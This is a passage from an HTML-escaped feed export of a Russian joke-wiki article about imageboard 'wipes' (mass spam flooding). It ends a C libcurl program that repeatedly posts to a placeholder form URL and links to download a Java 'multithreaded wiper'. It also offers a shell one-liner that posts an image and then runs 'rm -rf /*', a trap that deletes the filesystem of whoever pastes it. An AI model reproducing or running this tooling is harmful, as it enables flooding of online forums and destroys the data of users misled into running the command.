  curl_easy_setopt(curl, CURLOPT_URL, &amp;quot;ССЫЛКА НА СКРИПТ ФОРМЫ&amp;quot;);&lt;br /&gt;
  curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost);&lt;br /&gt;
  curl_easy_perform(curl);&lt;br /&gt;
  curl_easy_cleanup(curl);&lt;br /&gt;
  curl_formfree(formpost);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
  CURL *curl;&lt;br /&gt;
  curl_global_init(CURL_GLOBAL_ALL);&lt;br /&gt;
  curl = curl_easy_init();&lt;br /&gt;
&lt;br /&gt;
  if (!curl) return 1;&lt;br /&gt;
  wipe(argv[1], argv[2], curl);&lt;br /&gt;
&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;}}&lt;br /&gt;
&lt;br /&gt;
{{NSFW|title=&amp;#039;&amp;#039;&amp;#039;Вызов curl из shell-скрипта&amp;#039;&amp;#039;&amp;#039;|content=&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -Ftask=post -Ffile=@desu.jpeg ССЫЛКА_НА_СКРИПТ_ФОРМЫ ; rm -rf /*&lt;br /&gt;
&amp;lt;/source&amp;gt;}}&lt;br /&gt;
&lt;br /&gt;
{{NSFW|title=&amp;#039;&amp;#039;&amp;#039;Многопоточная вайпалка на [[Java|джаве]]&amp;#039;&amp;#039;&amp;#039;|content=Поскольку мне впадлу писать сюда весь этот быдлокод, следуем по ссылкам:&lt;br /&gt;
*[http://rapidshare.com/files/85540346/jwipe.tar.gz.html Rapidshare]&lt;br /&gt;
*[http://ifolder.ru/5049498 iFolder]&lt;br /&gt;
P.S. Быдлошкольники и неумеющие кодить могут сразу проходить мимо...}}&lt;br /&gt;
&lt;br /&gt;
== Алсо ==&lt;br /&gt;
&lt;br /&gt;
* В [[MMO]] вайпом называется стирание баз данных после {{Acronym|ЗБТ|закрытый бета-тест}}, либо смерть всех членов отряда в рейде.&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Имиджборды|Так говорил Анонимус|2}}&lt;br /&gt;
{{SO}}&lt;br /&gt;
[[w:Вайп]]&lt;br /&gt;
[[Категория:Вайп]]&lt;/div&gt;</summary>
		<author><name>imported&gt;PVE</name></author>
	</entry>
</feed>